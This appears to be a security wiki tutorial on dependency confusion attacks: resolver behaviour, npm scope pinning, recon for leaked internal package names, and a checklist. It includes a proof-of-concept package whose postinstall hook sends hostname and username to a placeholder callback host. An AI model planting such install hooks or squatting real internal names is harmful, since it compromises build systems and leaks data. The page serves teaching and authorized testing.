Athena Wiki

Dependency Confusion

webadvanced

Hijack software supply chains by publishing public packages that shadow private internal package names across npm, pip, Maven, and friends.

websupply-chaindependency-confusionnpmpipmavennamesquatting

Dependency Confusion

Dependency confusion (also called substitution or namesquatting) is a supply-chain attack that abuses how package managers resolve a single dependency name when more than one registry could satisfy it. If a build pulls from both a private/internal registry and a public registry (npmjs.com, PyPI, Maven Central) and an attacker publishes a public package with the same name and a higher version, the resolver may pick the attacker's package and execute its install scripts inside the target's build environment.

The technique was popularized by Alex Birsan's 2021 research, which breached Apple, Microsoft, Tesla, and dozens of others purely by uploading look-alike packages to public registries.

Responsible use / CTF framing

Only ever publish or claim package names you are authorized to test, or names scoped to a challenge you have been given. Publishing a malicious package under a real company's internal name to the live public registry is a crime, not a CTF. In CTFs the "internal registry" and "victim build" are part of the challenge infrastructure — keep payloads to a harmless callback (an HTTP/DNS beacon), never destructive code.


Why Resolution Goes Wrong

A dependency name like acme-internal-utils is just a string. The danger appears when the same string can be served by two registries and the resolver has no way to know which one you meant. Three resolver behaviors combine to make the attack work:

  • Multiple sources, one namespace. The client is configured to consult both the internal registry and the public default. An unscoped name belongs to no one in particular, so both are queried.
  • Highest-version-wins. Most resolvers, given a range like ^1.2.3, fetch the newest matching version across all configured sources. The attacker simply publishes 99.99.99 publicly to outrank any internal release.
  • Silent fallback. If the internal registry 404s a name (or the request races), the public hit is used without warning.
package.json says:  "acme-internal-utils": "^1.0.0"

internal registry → acme-internal-utils 1.4.2   (the real one)
public registry   → acme-internal-utils 99.99.99 (attacker's)
                                          ^ higher version wins → installed

The bug is configuration, not the registry

Public registries behaving exactly as designed (serve the highest version of a requested name) is fine. The vulnerability is a build that mixes trusted and untrusted sources for the same flat namespace. Authoritative background: Birsan's writeup and OWASP's Software & Data Integrity Failures.


How Each Ecosystem Resolves

The attack surface differs by package manager. Know which knobs decide the winner.

  • Unscoped names (acme-utils) are vulnerable: npm queries the configured registry, and a public package with a higher version can shadow an internal one if the resolver ever reaches the public registry.
  • Scoped names (@acme/utils) are the defense: a .npmrc mapping pins the whole @acme scope to the private registry, so npm never looks publicly.
  • npm install runs lifecycle scripts (preinstall, install, postinstall) by default — code execution happens at install time, not import time.
# .npmrc — scope pinning (the fix)
@acme:registry=https://npm.internal.acme.corp/
//npm.internal.acme.corp/:_authToken=${TOKEN}

Finding Internal Package Names

You cannot squat a name you do not know. Recon for internal identifiers that accidentally leak into public artifacts.

Leaked manifests. Search public repos, paste sites, and Docker image layers for package.json, requirements.txt, pom.xml, .npmrc, yarn.lock, or pip.conf containing names that are absent from the public registry — those are likely internal.

Frontend source maps & bundles. A JS bundle or .js.map shipped to the browser often lists every module path. Pull names that look organisation-specific (acme-auth-sdk, acme-ui-core) and check if they exist publicly.

Public-vs-private diff. For each candidate name, query the public registry. A name that 404s publicly but is clearly referenced in the target's code is a prime squatting target.

npm view acme-internal-utils        # 404 publicly == claimable name
pip index versions acme-internal    # nothing on PyPI == candidate

CI / error leaks. Build logs, stack traces, and verbose error pages frequently print full dependency names and even registry URLs.

Confirm before you claim

In a CTF, the challenge usually tells you (or strongly hints) the internal name and points your build at a registry it controls. Outside a CTF, claiming a name on a real public registry is itself the harmful act — recon stops at knowing the name.


Proof of Concept

The proof you need is a callback, not damage. Publish (to the controlled registry) a package whose install lifecycle beacons out with low-sensitivity environment metadata so you can prove execution.

// package.json — version high enough to win resolution
{
  "name": "acme-internal-utils",
  "version": "99.99.99",
  "scripts": { "postinstall": "node beacon.js" }
}
// beacon.js — HARMLESS callback only: prove code ran, no data theft
const https = require("https");
const os = require("os");
const id = `${os.hostname()}.${os.userInfo().username}`;
// DNS/HTTP beacon to a host you control (Burp Collaborator, webhook.site)
https.get(`https://YOUR-CALLBACK/dc?h=${encodeURIComponent(id)}`);

Why callback-only

Exfiltrating real secrets, modifying files, or persisting is out of scope for a PoC and turns a finding into an incident. hostname + username over an OOB channel demonstrates execution with minimal blast radius.


Defenses


Checklist

  • Does the build resolve dependencies from both a private and a public registry?
  • Are any internal package names unscoped (flat namespace)?
  • Recon leaked manifests, source maps, Docker layers, and CI logs for internal names.
  • For each candidate, confirm it 404s on the public registry (claimable).
  • Confirm the resolver uses highest-version-wins across sources.
  • Build a harmless callback PoC (DNS/HTTP beacon in postinstall/setup.py).
  • Publish only to an authorized/controlled registry; never weaponize on a live public one.
  • Verify defenses: scopes, single private proxy, lockfiles + hashes, placeholder registrations.

See Also


Last updated on

On this page